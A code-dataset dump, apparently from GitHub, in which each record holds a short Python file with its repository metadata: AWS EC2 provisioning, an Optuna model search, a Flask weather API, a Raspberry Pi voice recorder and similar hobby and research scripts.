vpc.subnets.all()]\n\nsg = ec2.create_security_group(\n GroupName='security_group1',\n Description='Allow HTTP traffic',\n VpcId=vpc.id\n)\nsg.authorize_ingress(\n IpPermissions=[\n {\n 'FromPort': 22,\n 'ToPort': 80,\n 'IpProtocol': 'tcp',\n 'IpRanges': [\n {\n 'CidrIp': '0.0.0.0/0'\n }\n ]\n }\n ]\n)\n\ninstances = []\nfor subnet_id in subnets:\n instance = ec2.create_instances(\n ImageId='ami-12345689101112', # replace with your amazon AMI\n MinCount=1,\n MaxCount=1,\n InstanceType='t2.micro',\n KeyName='yourkeyname',\n SecurityGroupIds=[sg.id],\n SubnetId=subnet_id,\n UserData=user_data\n )\n instances.extend(instance)\nfor instance in instances:\n print(f\"Instance ID: {instance.id}\")\n print(f\"Subnet ID: {instance.subnet_id}\")\n print(f\"Private IPv4 address: {instance.private_ip_address}\")\n","repo_name":"kelly398/Creating-EC2-instances-with-BOTO3","sub_path":"create_instances.py","file_name":"create_instances.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32800465913","text":"\"\"\"Simple interface for progress markers.\"\"\"\nfrom __future__ import annotations\n\nimport rich.progress as prog\n\nimport dascore as dc\n\n\ndef track(sequence, description):\n \"\"\"A simple iterator for tracking updates.\"\"\"\n # This is a dirty hack to allow debugging while running tests.\n # Otherwise, pdb doesn't work in any tracking scope.\n # See: https://github.com/Textualize/rich/issues/1053\n if dc._debug or not len(sequence):\n yield from sequence\n return\n # Normal progress bar behavior\n progress = prog.Progress(\n prog.SpinnerColumn(),\n prog.TextColumn(\"[progress.description]{task.description}\"),\n prog.BarColumn(bar_width=30),\n prog.TaskProgressColumn(),\n prog.TimeRemainingColumn(),\n prog.TimeElapsedColumn(),\n prog.MofNCompleteColumn(),\n )\n total = len(sequence)\n with progress:\n yield from progress.track(\n sequence, total=total, description=description, update_period=1.0\n )\n","repo_name":"DASDAE/dascore","sub_path":"dascore/utils/progress.py","file_name":"progress.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"75"} +{"seq_id":"12356839744","text":"import time\r\ncurrenttime=time.time()\r\ntotalseconds=int(currenttime)\r\ncurrentsecond=totalseconds%60\r\ntotalminutes=totalseconds//60\r\ncurrentminute=totalminutes%60\r\ntotalhours=totalminutes//60\r\ncurrenthour=totalhours%12\r\nl=int(input(\"Enter number hours offset the time is:\"))\r\ncurrenthour=currenthour+l\r\nprint(\"The current time is\",currenthour,\":\",currentminute,\":\",currentsecond)","repo_name":"anishshanmug/python-homework","sub_path":"Homework 3/430.py","file_name":"430.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38873724490","text":"import requests\nimport bs4\n\ndef main():\n\t# print the header\n\tprint_the_header()\n\n\t# get zipcode from user\n\tcode = input('What zipcode do you want the weather for (97201)? ')\n\n\t# find state and city\n\tstate, city = get_state_and_city(code)\n\n\t# get html from web\n\thtml = get_html_from_web(state, city, code)\n\n\t# parse the html\n\tget_weather_from_html(html)\n\n\t# display the forecast\n\n\ndef print_the_header():\n\tprint('-------------------------------')\n\tprint(' WEATHER APP')\n\tprint('-------------------------------')\n\tprint()\n\n\ndef get_state_and_city(zipcode):\n\turl = 'http://ziptasticapi.com/{}'.format(zipcode)\n\t# set a known browser user agent\n\tresponse = requests.get(url, headers={'User-Agent': 'Mozilla/5.0'})\n\treturn response.json()['state'], response.json()['city']\n\n\ndef get_html_from_web(state, city, zipcode):\n\turl = 'http://www.wunderground.com//weather/us/{}/{}/{}'.format(state, city, zipcode)\n\tresponse = requests.get(url, headers={'User-Agent': 'Mozilla/5.0'})\n\treturn response.text\n\n\ndef get_weather_from_html(html):\n\t# once the api of the site works, we will just use it\n\tpass\n\n\nif __name__ == '__main__':\n\tmain()\n\n","repo_name":"mukulrawat1986/PyGen","sub_path":"weather_client/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18208800249","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 1 16:14:53 2022\n\n@author: waqar\n\"\"\"\n\n\"\"\"\nOptuna example that optimizes multi-layer perceptrons using PyTorch.\n\nIn this example, we optimize the validation accuracy of hand-written digit recognition using\nPyTorch and FashionMNIST. We optimize the neural network architecture as well as the optimizer\nconfiguration. As it is too time consuming to use the whole FashionMNIST dataset,\nwe here use a small subset of it.\n\n\"\"\"\n\nimport os\nimport os.path as osp\nimport optuna\nfrom math import sqrt\nimport math\nfrom optuna.trial import TrialState\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.utils.data\n# from torchvision import datasets\n# from torchvision import transforms\nfrom optuna_attenFP import AttentionConvNet\n# from torch_geometric.datasets import MoleculeNet\n# from rdkit import Chem\nfrom torch_geometric.loader import DataLoader\nfrom pytorch_lightning.callbacks.early_stopping import EarlyStopping\nfrom utils import MyOwnDataset\ndevice = torch.device('cuda:7' if torch.cuda.is_available() else 'cpu')\nBATCHSIZE = 128\nCLASSES = 10\nDIR = os.getcwd()\nEPOCHS = 200\nLOG_INTERVAL = 10\nN_TRAIN_EXAMPLES = BATCHSIZE * 30\nN_VALID_EXAMPLES = BATCHSIZE * 10\nearly_stop_callback = EarlyStopping(monitor=\"val_accuracy\", min_delta=0.00, patience=16, verbose=False, mode=\"max\")\n\n\n\npath = osp.join(osp.dirname(osp.realpath(__file__)), 'data')\ndataset = MyOwnDataset(path).shuffle()\n# dataset = CustomDataset(path, 'solubility','solubility',5,6).shuffle()\n# print(dataset[0])\n# dataset = MoleculeNet(path, name='ESOL', pre_transform=GenFeatures()).shuffle()\n# dataset = MoleculeNet(path, name='FreeSolv', pre_transform=GenFeatures()).shuffle()\n# Epochs = trial.suggest_int(\"epochs\", 200, 2000)\nN = len(dataset) // 10\ntest_dataset = dataset[:N]\n# val_dataset = dataset[N:2 * N]\n# train_dataset = dataset[2 * N:]\ntrain_dataset = dataset[N:]\ntrain_loader = DataLoader(train_dataset, batch_size=128, shuffle=True)\n# val_loader = DataLoader(val_dataset, batch_size=200, shuffle=True)\ntest_loader = DataLoader(test_dataset, batch_size=128, shuffle=True)\n\n# batch = next(iter(test_loader))\n# print(batch)\n\n# model = AttentionConvNet(trial).to(device)\n\n\n\ndef train(model, optimizer):\n total_loss = total_examples = 0\n for data in train_loader:\n data = data.to(device)\n optimizer.zero_grad()\n out = model(data)\n # out = model(data)\n y = data.y.view([-1])\n out1 = out.view([-1])\n # print(\"train : \", y.shape)\n loss = F.mse_loss(out1, y)\n loss = torch.nan_to_num(loss, nan=torch.finfo(loss.dtype).max)\n loss.backward()\n optimizer.step()\n total_loss += float(loss) * data.num_graphs\n total_examples += data.num_graphs\n return total_loss,sqrt(total_loss / total_examples)\n\n\n@torch.no_grad()\ndef test(loader, model):\n # mse = []\n total_loss = total_examples = 0\n for data in loader:\n data = data.to(device)\n out = model(data)\n # out = model(data)\n # mse.append(F.mse_loss(out, data.y, reduction='none').cpu())\n # return float(torch.cat(mse, dim=0).mean().sqrt())\n y = data.y.view([-1])\n out1 = out.view([-1])\n # print(\"test : \", y.shape)\n test_loss = F.mse_loss(out1, y)\n test_loss = torch.nan_to_num(test_loss, nan=torch.finfo(test_loss.dtype).max) # this will probably crash for non-float types\n # print(\"no of graphs: \", data.num_graphs)\n total_loss += float(test_loss) * data.num_graphs\n total_examples += data.num_graphs\n # mse.append(test_loss).cpu()\n # return test_loss,float(torch.cat(mse, dim=0).mean().sqrt())\n return total_loss,sqrt(total_loss / total_examples)\n\n\n\n \ndef objective(trial):\n\n # Generate the model.\n model = AttentionConvNet(trial).to(device)\n # model = define_model(trial).to(device)\n #,\"Adadelta\"\n optimizer_name = trial.suggest_categorical(\"optimizer\", [\"Adam\", \"RMSprop\", \"SGD\"])\n lr = trial.suggest_float(\"lr\", 1e-5, 1e-1, log=True)\n weightdecay = trial.suggest_float(\"weightdecay\", 10**-5, 10**-2.5, log=True)\n optimizer = getattr(optim, optimizer_name)(model.parameters(), lr=lr,weight_decay=weightdecay)\n # Generate the optimizers.\n \n\n # Get the FashionMNIST dataset.\n # train_loader, valid_loader = get_mnist()\n\n # Training of the model.\n # val_losses = []\n # train_losses = []\n \n the_last_loss = 100\n patience = 30\n trigger_times = 0\n count_loss_difference = 0\n # Epochs = trial.suggest_int(\"epochs\", 200, 2000)\n for epoch in range(1, EPOCHS):\n # print(\"this is model type: \", type(model))\n # print(type(optimizer))\n train_loss,train_rmse = train(model,optimizer)\n # val_loss,val_rmse = test(val_loader, model)\n test_loss,test_rmse = test(test_loader, model)\n # print(f'Epoch: {epoch:03d}, Loss: {train_rmse:.4f} Val: {val_rmse:.4f} '\n # f'Test: {test_rmse:.4f}')\n print(f'Epoch: {epoch:03d}, Loss: {train_rmse:.4f} '\n f'Test: {test_rmse:.4f}')\n # ret = [epoch,train_loss,test_loss.item()]\n # train_losses.append(train_loss)\n # val_losses.append(test_loss.item())\n \n # Early stopping\n the_current_loss = test_rmse #.item()\n \n if the_current_loss > the_last_loss:\n trigger_times += 1\n print('trigger times:', trigger_times)\n \n if trigger_times >= patience:\n print('Early stopping!\\nStart to test process.')\n break\n else:\n trigger_times = 0\n the_last_loss = the_current_loss\n # torch.save(model.state_dict(), 'Graph_attention_best_01.model')\n\n # trial.report(train_loss, epoch)\n # trial.report(train_rmse, epoch)\n # trial.report(val_loss, epoch)\n # trial.report(val_rmse, epoch)\n # trial.report(test_loss, epoch)\n #handling exception when saving nan rmse\n # if test_rmse == math.isnan:\n # test_rmse = torch.nan_to_num(test_rmse, nan=torch.finfo(test_rmse.dtype).max)\n trial.report(test_rmse, epoch)\n # Handle pruning based on the intermediate value.\n if trial.should_prune():\n raise optuna.exceptions.TrialPruned()\n\n return test_rmse\n\n\nif __name__ == \"__main__\":\n study = optuna.create_study(study_name='graph attention1 randomized file', direction=\"minimize\",\n storage='sqlite:///graph-attention-v1.db',\n load_if_exists=True)\n study.optimize(objective, n_trials=100000) #, timeout=100000\n pruned_trials = study.get_trials(deepcopy=False, states=[TrialState.PRUNED])\n complete_trials = study.get_trials(deepcopy=False, states=[TrialState.COMPLETE])\n\n print(\"Study statistics: \")\n print(\" Number of finished trials: \", len(study.trials))\n print(\" Number of pruned trials: \", len(pruned_trials))\n print(\" Number of complete trials: \", len(complete_trials))\n\n print(\"Best trial:\")\n trial = study.best_trial\n\n print(\" Value: \", trial.value)\n\n print(\" Params: \")\n for key, value in trial.params.items():\n print(\" {}: {}\".format(key, value))\n \n print(\"The end of graph attention study\")","repo_name":"waqarahmadm019/AquaPred","sub_path":"optuna_define_model.py","file_name":"optuna_define_model.py","file_ext":"py","file_size_in_byte":7420,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"24849848038","text":"import random\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n# Unique değerleri bulmak için yardımcı bir fonksiyon\ndef get_unique_numbers(numbers):\n unique = []\n for number in numbers:\n if number not in unique:\n unique.append(number)\n return unique\n\n\ndef findfunctionmaxmin(find, matrix):\n \"\"\"\n Fonksiyon, hesaplanması gereken fonksiyonun katsayılarını array şeklinde almaktadır.\n Eşitsizlikleri matrix şeklinde almaktadır.\n Örneğin:\n z = 6x1 + 8x2\n\n 7x1 + 3x2 <= 21\n 6x1 + 7x2 <= 42\n x1 <= 3\n x2 <= 4\n\n için verilmesi gereken değerler şöylerdir.\n find: [6, 8]\n\n matrix: [[7, 3, 21, 1],\n [6, 7, 42, 1],\n [1, 0, 3, 1],\n [0, 1, 4, 1],\n ]\n Matrix dizisinde ki her satır sonu eşitsizliğin <= veya >= olduğunu gösteririr.\n kullanınız.\n\n :param find: Hesaplanması gereken fonksiyonun katsayıları\n :param matrix: Verilen eşitliklerin katsayıları ve min max durumu\n :return:\n \"\"\"\n\n allFunctionValues = []\n crossXAxesAll = None\n crossYAxesAll = None\n coordinates = []\n\n # Eşitliklerin x1 ve x2 eksenlerini kestiği noktaları bulma\n for func in matrix:\n x1, x2, value, minMax = func\n if x1 != 0:\n crossXAxes = value / x1\n if crossXAxesAll is None or crossXAxes > crossXAxesAll:\n crossXAxesAll = crossXAxes\n if (x2 != 0) and (crossYAxesAll is None or value / x2 > crossYAxesAll):\n crossYAxesAll = value / x2\n\n # Eşitliklerin x2 değerlerini bulma\n x_values = np.arange(0, int(crossXAxesAll) + 1, 0.01)\n for func in matrix:\n x1, x2, value, minMax = func\n f = [[]]\n if x2 == 0:\n f[0].append((value / x1))\n f.append(minMax)\n f.append(True)\n allFunctionValues.append(f)\n continue\n for x in x_values:\n f[0].append((value - x1 * x) / x2)\n f.append(minMax)\n allFunctionValues.append(f)\n\n # Koordinat sistemini oluşturma ve grafikleri çizme\n fig, ax = plt.subplots()\n ax.set_ylim(bottom=0, top=crossYAxesAll)\n ax.set_xlim(left=0, right=crossXAxesAll)\n for values in allFunctionValues:\n r = random.random()\n b = random.random()\n g = random.random()\n color = (r, g, b)\n if len(values[0]) == 1 and len(values) == 2:\n ax.plot(x_values, [values[0][0] for i in range(len(x_values))], c=color)\n elif len(values) == 3:\n ax.plot([values[0][0], values[0][0]], [0, crossYAxesAll], c=color)\n else:\n ax.plot(x_values, values[0], c=color)\n\n # Grafikteki taralı alanı bulma\n between1 = np.array([])\n between2 = np.array([0 for i in range(len(x_values))])\n for values in allFunctionValues:\n if len(values[0]) == 1:\n continue\n if len(between1) == 0:\n between1 = values[0].copy()\n continue\n if values[1] == 1:\n i = 0\n for value in values[0]:\n if value < between1[i]:\n between1[i] = value\n i = i + 1\n if values[1] == 0:\n i = 0\n for value in values[0]:\n if value > between2[i]:\n between2[i] = value\n i = i + 1\n ax.fill_between(x_values, between1, between2,\n facecolor=\"red\", alpha=0.5)\n for index_values, values in enumerate(allFunctionValues):\n if len(values[0]) == 1:\n value = values[0][0]\n index = np.where(x_values == float(value))\n index = index[0][0]\n if values[1] == 1:\n x_values = x_values[0: index + 1]\n between1 = between1[0: index + 1]\n between2 = between2[0: index + 1]\n else:\n x_values = x_values[index + 1:]\n between1 = between1[index + 1:]\n between2 = between2[index + 1:]\n allFunctionValues.pop(index_values)\n\n # Eşitliklerin kesişen noktalarını bulma\n for index, values in enumerate(allFunctionValues):\n idx = np.argwhere(np.diff(np.sign(0 - np.array(values[0])))).flatten()\n if len(idx) != 0 and len(x_values) - 1 > idx[0]:\n idx = idx[0]\n coordinates.append([x_values[idx], values[0][idx]])\n for i in range(index + 1, len(allFunctionValues)):\n idx = np.argwhere(np.diff(np.sign(np.array(values[0]) - np.array(allFunctionValues[i][0])))).flatten()\n if len(idx) != 0:\n idx = idx[0]\n coordinates.append([x_values[idx], values[0][idx]])\n for values in allFunctionValues:\n coordinates.append([0, values[0][0]])\n if between1[0] > 0 and between2[0] == 0:\n coordinates.append([0, 0])\n\n coordinates = get_unique_numbers(coordinates)\n\n solution_coordinates = []\n\n # Taralı alanı oluşturan noktaları bulma\n for x, y in coordinates:\n if (y - 0.1 <= between1[int(x / 0.01)] <= y + 0.1) or (y - 0.1 <= between2[int(x / 0.01)] <= y + 0.1):\n if solution_coordinates.count([x, y]) == 0:\n solution_coordinates.append([x, y])\n\n # Değerleri hesaplayıp konsola yazdırma\n solutionMin = None\n solutionMax = None\n minCoordinate = None\n maxCoordinate = None\n for x1, x2 in solution_coordinates:\n value = find[0] * x1 + find[1] * x2\n if solutionMin is None or solutionMin > value:\n solutionMin = value\n minCoordinate = [x1,x2]\n if solutionMax is None or solutionMax < value:\n solutionMax = value\n maxCoordinate = [x1, x2]\n\n plt.plot(minCoordinate[0], minCoordinate[1], 'ro', color=\"green\", label=\"Min Value Coordinate\")\n plt.plot(maxCoordinate[0], maxCoordinate[1], 'ro', color=\"blue\", label=\"Max Value Coordinate\")\n\n print(\"Max Value: \", solutionMax)\n print(\"Min Value: \", solutionMin)\n\n ax.set_xlabel('x1')\n ax.set_ylabel('x2')\n\n plt.legend()\n plt.show()\n\n\nmatrix = np.array([[7, 3, 21, 1],\n [6, 7, 42, 1],\n [1, 0, 3, 1],\n [0, 1, 4, 1],\n ])\n\nfindfunctionmaxmin([6, 8], matrix)\n","repo_name":"burak28/yoneylem","sub_path":"grafik yöntem.py","file_name":"grafik yöntem.py","file_ext":"py","file_size_in_byte":6255,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37770348431","text":"import datetime\nimport random\nfrom django.conf import settings\nimport jwt\n\nfrom authapp.models import RolesModel, UserModel\n\n\ndef return_headers(request):\n headers = {\n \"JWTAUTH\":request.headers['JWTAUTH'].split(' ')[1],\n # \"Authorization\":request.headers[\"Authorization\"].split(' ')[1]\n }\n return headers\n \ndef get_serializer_context(request):\n headers = return_headers(request)\n # decode jwt\n payload = jwt.decode(headers['JWTAUTH'],key=settings.SECRET_KEY, algorithms=['HS256'])\n \n context = {\n \"user_id\": payload['user_id'],\n \"user_type\": payload['user_type'],\n \"headers\":headers\n }\n return context\n\nclass GetUser:\n def __init__(self, request=None, headers=None, id=None) -> None:\n self.request = request\n self.headers = headers\n self.id = id\n \n def get_logged_in_user(self):\n self.id = get_serializer_context(self.request)['user_id']\n # get user by ID\n return self.get_user_by_id()\n \n def get_user_by_id(self):\n try:\n user = UserModel.objects.get(id=self.id)\n except UserModel.DoesNotExist:\n return None\n return user\n\n def get_user_basic_details(self):\n user = self.get_user_by_id()\n # serialize\n # return serialized data\n\n def get_user_roles(self):\n user_roles = self.get_user_by_id().roles.objects.all() # type:ignore\n return [role.role for role in user_roles]\n\n\nclass GetUsersList:\n\n def __init__(self, request=None, roles:list = []) -> None:\n self.request = request\n self.roles = roles\n\n def get_users_with_role(self):\n users = RolesModel.objects.filter(role__in=self.roles, is_active=True).all()\n if users.exists():\n return users.values(\"user\")\n else:\n return []\n \n def logged_user_has_role(self):\n user_id = GetUser(\n request=self.request\n ).get_logged_in_user().id # type:ignore\n if user_id not in self.get_users_with_role():\n return False\n else:\n return True\n\ndef generate_package_ref():\n characters ='ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n \n result = 'PCKG23/'\n charactersLength = len(characters)\n for i in range(0, 10):\n result += characters[round(random.random()*(charactersLength-1))]\n\n return result\n\ndef generate_process_ref(process_code:str):\n return process_code + \"23\"+ \"/\" + str(random.randint(0, 2000))\n\n\ndef format_error(errors_):\n \"\"\"\n output it all on a string\n \"\"\"\n errors = errors_.items()\n if len(errors) > 0:\n error_message = ''\n for i in errors_.items():\n # if isinstance(i[1], dict):\n # key_ = tuple(i[1].keys())[0]\n # value = i[1][key_]\n # for j in value:\n # if 'non_field_errors' == j:\n # return '%s: %s' % (i[0], value[j][0])\n # else:\n # try:\n # return '%s: %s: %s' % (i[0], j, value[j][0])\n # except:\n # return '%s: %s: %s' % (i[0], j, value[0])\n # break\n if isinstance(i[1][0], list):\n secondary_strings = ''\n for j in i[1][0]:\n secondary_strings += j + ' '\n error_message = i[0] + \": \" + secondary_strings\n else:\n if 'non_field_errors' == i[0]:\n error_message = i[1][0]\n elif isinstance(i[1][0], dict):\n key_ = tuple(i[1][0].keys())[0]\n value = i[1][0][key_][0]\n error_message = i[0] + \": \" + '%s: %s' % (key_, value)\n else:\n error_message = i[0] + \": \" + i[1][0]\n break\n return error_message\n return ''","repo_name":"kiokogit/dga-backend-api2","sub_path":"shared_utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40966533801","text":"##!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom player import Player\nimport random\nfrom time import sleep\n\nclass Game:\n\n\tdef __init__(self):\n\t\tself.game_nums = self.randomizer() # return randomized list 0-99\n\t\tself.players = []\n\t\tcolors = [\"blue\", \"green\", \"yellow\"]\n\t\tfor i in range(2):\n\t\t\tif (i < 1):\n\t\t\t\tpl = Player(\"Player 1\")\n\t\t\telse:\n\t\t\t\tpl = Player(\"Player \" + str(i + 1), colors[i-1])\n\t\t\t\tpl.bingo.set_color(colors[i-1])\n\t\t\tself.players.append(pl)\n\n\t\t#self.p1 = Player(\"Player 1\")\n\n\tdef randomizer(self):\n\t\tgame_nums = list(range(100))\n\t\trandom.shuffle(game_nums)\n\t\treturn game_nums\n\n\tdef number_print(self, i):\n\t\tprint(\"\\nNext number is...\")\n\t\tprint(self.game_nums[i])\n\t\tprint(\"\\n\")\n\n\tdef timer_zone(self, drawn, i):\n\t\tself.number_print(i)\n\t\tdrawn.append(self.game_nums[i])\n\t\tfor pl in self.players:\n\t\t\tpl.draw(drawn)\n\t\t\tif pl.win_chances(drawn) == 1:\n\t\t\t\tpl.win_print()\n\t\t\t\treturn 0\n\t\t#self.p1.draw(drawn)\n\t\t#if self.p1.win_chances(drawn) == 1:\n\t\t#\tself.p1.win_print()\n\t\t#\treturn 0\n\n\t\treturn 1\n\n\tdef run_loop(self):\n\t\tdrawn = []\n\t\t#self.p1.draw()\n\t\tfor pl in self.players:\n\t\t\tpl.draw()\n\t\tfor i in range(len(self.game_nums)):\n\t\t\tsleep(0.1)\n\t\t\tif self.timer_zone(drawn, i) == 0:\n\t\t\t\tbreak\n\n\tdef run(self):\n\t\tself.run_loop()\n\n\n\n","repo_name":"Kartero/Bingo2","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23648555832","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# 2013 Steven Armstrong (steven-cdist at armstrong.cc)\n#\n# This file is part of cdist.\n#\n# cdist is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# cdist is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with cdist. If not, see .\n#\n#\n\nimport cdist.config\nimport cdist.core\n\n\nclass Install(cdist.config.Config):\n def object_list(self):\n \"\"\"Short name for object list retrieval.\n In install mode, we only care about install objects.\n \"\"\"\n for cdist_object in cdist.core.CdistObject.list_objects(\n self.local.object_path, self.local.type_path,\n self.local.object_marker_name):\n if cdist_object.cdist_type.is_install:\n yield cdist_object\n else:\n self.log.debug(\"Running in install mode, ignoring non install\"\n \"object: {0}\".format(cdist_object))\n","repo_name":"Cloudxtreme/cdist","sub_path":"cdist/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"11725781884","text":"import numpy as np\nimport datetime as dt\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\nfrom flask import Flask, jsonify\n\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\nBase = automap_base()\nBase.prepare(engine, reflect=True)\nStation= Base.classes.station\nMeasurement = Base.classes.measurement\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef welcome():\n return(\n f\"Available Routes:
\"\n f\"Precipitaion: /api/v1.0/precipitation
\"\n f\"Stations: /api/v1.0/stations
\"\n f\"dates and temperature observations of the most active station for the last year of data: /api/v1.0/tobs
\"\n f\"Temperature from start date(format:yyyy-mm-dd): /api/v1.0/yyyy-mm-dd
\"\n f\"Temperature from start to end date(format:yyyy-mm-dd): /api/v1.0/yyyy-mm-dd/yyyy-mm-dd
\"\n )\n\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n session = Session(engine)\n\n \"\"\"Return a list of all Precipitation Data\"\"\"\n results = session.query(Measurement.date, Measurement.prcp).\\\n filter(Measurement.date >= \"2016-08-24\").\\\n all()\n \n all_prcp = []\n for date,prcp in results:\n prcp_dict = {}\n prcp_dict[\"date\"] = date\n prcp_dict[\"prcp\"] = prcp\n \n all_prcp.append(prcp_dict)\n\n return jsonify(all_prcp)\n\n\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n session = Session(engine)\n\n results = session.query(Station.station).\\\n order_by(Station.station).all()\n\n all_stations = list(np.ravel(results))\n\n return jsonify(all_stations)\n\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n\n one_year = dt.date(2017,8,23) - dt.timedelta(days=365)\n\n tobs_data = session.query(Measurement.date, Measurement.tobs).\\\n filter(Measurement.date >= one_year).\\\n order_by(Measurement.date).all()\n\n list_tobs_data = list(tobs_data)\n\n return jsonify(list_tobs_data)\n\n@app.route(\"/api/v1.0/\")\ndef start_date(start):\n\n start_date = session.query(Measurement.date, func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\\\n filter(Measurement.date >= start).\\\n group_by(Measurement.date).all()\n\n list_start_date = list(start_date)\n\n return jsonify(list_start_date)\n\n@app.route(\"/api/v1.0//\")\ndef start_end_date(start, end):\n\n start_end_date = session.query(Measurement.date, func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\\\n filter(Measurement.date >= start).\\\n filter(Measurement.date <= end).\\\n group_by(Measurement.date).all()\n \n list_start_end_date = list(start_end_date)\n\n return jsonify(list_start_end_date)\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"Joseph-Neff/sqlalchemy-challenge","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1055200175","text":"from aip import speech\nimport RPi.GPIO as GPIO\nGPIO.setwarnings(False)\nchannel = 20\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(channel,GPIO.IN, GPIO.PUD_UP)\n\nfrom emo.backend.voice import speech_recog\n\nfrom os import system\nimport pyaudio\nimport wave\nCHUNK = 256\nFORMAT = pyaudio.paInt16\nCHANNELS = 1\nRATE = 44100\np = pyaudio.PyAudio()\nvr = '/home/pi/1900012739/emo/assets/'\ndef get_record(filename):\n # stream initialized here, else eaily overflow\n stream=p.open(format=FORMAT,channels=CHANNELS,\n rate=RATE,input=True,frames_per_buffer=CHUNK)\n wf = wave.open(vr +'temp.wav', 'wb')\n wf.setnchannels(CHANNELS)\n wf.setsampwidth(p.get_sample_size(FORMAT))\n wf.setframerate(RATE)\n print(\"Recording wav:\"+filename)\n while GPIO.input(channel) == 0:\n data=stream.read(CHUNK, exception_on_overflow = False)\n wf.writeframes(data)\n print(\"Finished :b\")\n wf.close()\n stream.stop_stream()\n stream.close()\n system(\"ffmpeg -y -i \" + vr + \"temp.wav -ac 1 -ar 16000 \" + vr + \"16k.wav\")\n speech_recog(filename)\n system('mpg123 calendar.wav')\n print(filename)\n\ndef pressToTalk(index):\n try:\n while True:\n if GPIO.input(channel) == 0:\n get_record('/home/pi/1900012739/emo/assets/vol'+str(index)+'.wav')\n index = index + 1\n except KeyboardInterrupt:\n p.terminate()\n GPIO.cleanup()\n\nif __name__ == '__main__':\n pressToTalk(0)","repo_name":"Honour-Van/RaspberryPILabPKU","sub_path":"Lab 9F/ptt.py","file_name":"ptt.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"9939377174","text":"import pandas as pd;\nimport bcolz;\nimport pickle;\nimport random;\nimport re;\nfrom sklearn.model_selection import train_test_split;\nimport configuration as config;\nimport embeddings as embeds;\nimport numpy as np;\nimport math;\n\n'''\nThis function generates word2idx and uses pickle to output to word2idx_path,\ngenerates embeddings using bcolz to bcolz_embedding_path\n'''\ndef write_glove_embeddings_bcolz():\n word2idx = {};\n #words = [];\n idx = 0;\n vectors = [];\n with open (config.pretrained_embeds_path, 'rb') as f:\n for l in f:\n line_splits = l.decode().split();\n word = line_splits[0];\n #words.append(word);\n word2idx[word] = idx;\n idx +=1;\n vect = np.array(line_splits[1: ]).astype(np.float32);\n vectors.append(vect);\n vectors = np.reshape(vectors, newshape=[-1, 300]);\n vectors = bcolz.carray(vectors, rootdir= f'{config.bcolz_embedding_path}', mode = 'w');\n vectors.flush();\n pickle.dump(word2idx, open(f'{config.word2idx_path}', 'wb'))\n\n'''\nThis function create a shorter version of the input data, for test purpse\n'''\ndef create_short_train_file (num_lines):\n with open (config.toxic_comment_input_path, 'r') as f_train:\n with open(config.short_toxic_comment_input_path, 'w') as f_short_train:\n idx = 0;\n for line in f_train:\n f_short_train.write(line);\n idx += 1;\n if idx == num_lines:\n break;\n print(\"short train file successfully created.\");\n\n\n'''\nThis method performs the comment preprocessing.\n'''\ndef comment_preprocessing(df, ):\n print('inside comment preprocessing.');\n # filter out the non-number and non alphabetical characters\n df['comment_text_adjusted'] = df.comment_text.map(filter_special_char);\n # turn all letters to lower case.\n df['comment_text_adjusted'] = df.comment_text_adjusted.map(lambda x: x.lower());\n # if target > 0.5, than the commit is toxic\n df['is_toxic'] = df.apply(lambda x: 1 if x['target'] > 0.5 else 0, axis = 1);\n return df;\n\n''' \nThis function randomly select X number of non-toxic comments and Y number of toxic comments\n'''\ndef random_sample_select(train_data, toxic_num, non_toxic_num, target_col_name):\n toxic_index = random.sample(train_data[train_data[target_col_name] == 1].index.values.tolist(), toxic_num);\n non_toxic_index = 